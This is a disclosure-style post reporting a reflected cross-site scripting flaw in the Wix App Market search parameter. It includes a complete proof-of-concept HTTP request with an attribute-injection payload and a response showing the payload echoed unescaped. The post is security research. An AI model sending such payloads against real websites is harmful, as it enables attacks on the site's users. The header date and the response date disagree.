## Titles: WIX.com / market app Cross-site scripting (reflected)
## Author: nu11secur1ty
## Date: 8/27/2024
## Vendor: https://www.wix.com/
## Software: https://www.wix.com/market
## Reference: https://portswigger.net/web-security/cross-site-scripting
## Description:
The value of the query request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eq7ab"accesskey="x"onclick="document.location=1"//qkbzd was submitted in the query parameter. This input was echoed unmodified in the application's response.
STATUS: HIGH- Vulnerability
[+]PoC:
```
GET /app-market/search-result?query=eq7ab%22accesskey%3d%22x%22onclick%3d%22document.location%3d1%22%2f%2fqkbzd HTTP/1.1
Host: www.wix.com
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="24", "Google Chrome";v="139"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Content-Length: 0
```
[+]Response:
```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: XSRF-TOKEN=1755591144|Eg7emUWwe-IA; Domain=.wix.com; Path=/; Secure; SameSite=Lax
Set-Cookie: _wixAB3=3477653#1; Max-Age=15724800; Expires=Tue, 17 Feb 2026 08:12:24 GMT; Path=/app-market/search-result; Domain=.wix.com
Etag: W/"280f9-gSC7iOcPNDT2CRThSwJyIPL8Re8"
Pragma: no-cache
Cache-Control: no-store, no-cache
X-Wix-Request-Id: 1755591144.079172597310943348307
X-Wix-Request-Id: 1755591144.079172597310943348307
Strict-Transport-Security: max-age=31536000
Server: Pepyaka
X-Content-Type-Options: nosniff
Accept-Ranges: bytes
Date: Tue, 19 Aug 2025 08:12:25 GMT
X-Served-By: cache-mxp6959-MXP
X-Cache: MISS
Vary: Accept-Encoding
X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,GilIRCy+Ky2nI9KZaDKzWLxkNjrXdwdgtu6E0yACibU=,yI4PPEXc3bvXNWfpzSkUarxkNjrXdwdgtu6E0yACibU=,m0j2EEknGIVUW/liY8BLLhltI8UMiPPDOVwaTrPHXCH8v8cBhCntPM7PcrIAnRiP,jdDt270t0fniy2BugWKBrcczmKBTV50ZIhnFmHyHs57I9wpXHBT6h1wfBN9ClwxEB2liM03bnUiF6lTGavdqtA==,TeEjV9lv7/HACQr2VMOeGw2Glp1kLqnecer2BlKK+IU=,b61bb5l8iKStMCYyOHGHzRnQM7J/rJ7uPqCFTHO1XctorBYDGeK3UgGvWP2Td4iX2A0xrElz8K0jvAxA68GNHA==,PD4YJOeir0FhY6Fl90bUjyPr+onDcVcE7HwIMshK4tA=,mvxQ9qSAmY38asKjFCcmG9fqwOC4CaktraAMWrC0uVj1OAazU43d/JllZoi5V6gBMOqF25aPBecVfgGQEnEHcw==
Via: 1.1 google
Glb-X-Seen-By: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
<!doctype html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta http-equiv="content-language" content='en' />
<title data-meta-tags-aggr
...[SNIP]...
<meta data-meta-tags-aggregator="true" property="og:title" content="You searched for eq7ab"accesskey="x"onclick="document.location=1"//qkbzd | Wix App Market" />
...[SNIP]...
```
## Reproduce:
[href](https://www.patreon.com/posts/wix-com-xss-136830597)
## Demo PoC:
[href](https://www.patreon.com/posts/wix-com-xss-136830597)
## Time spent:
03:27:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
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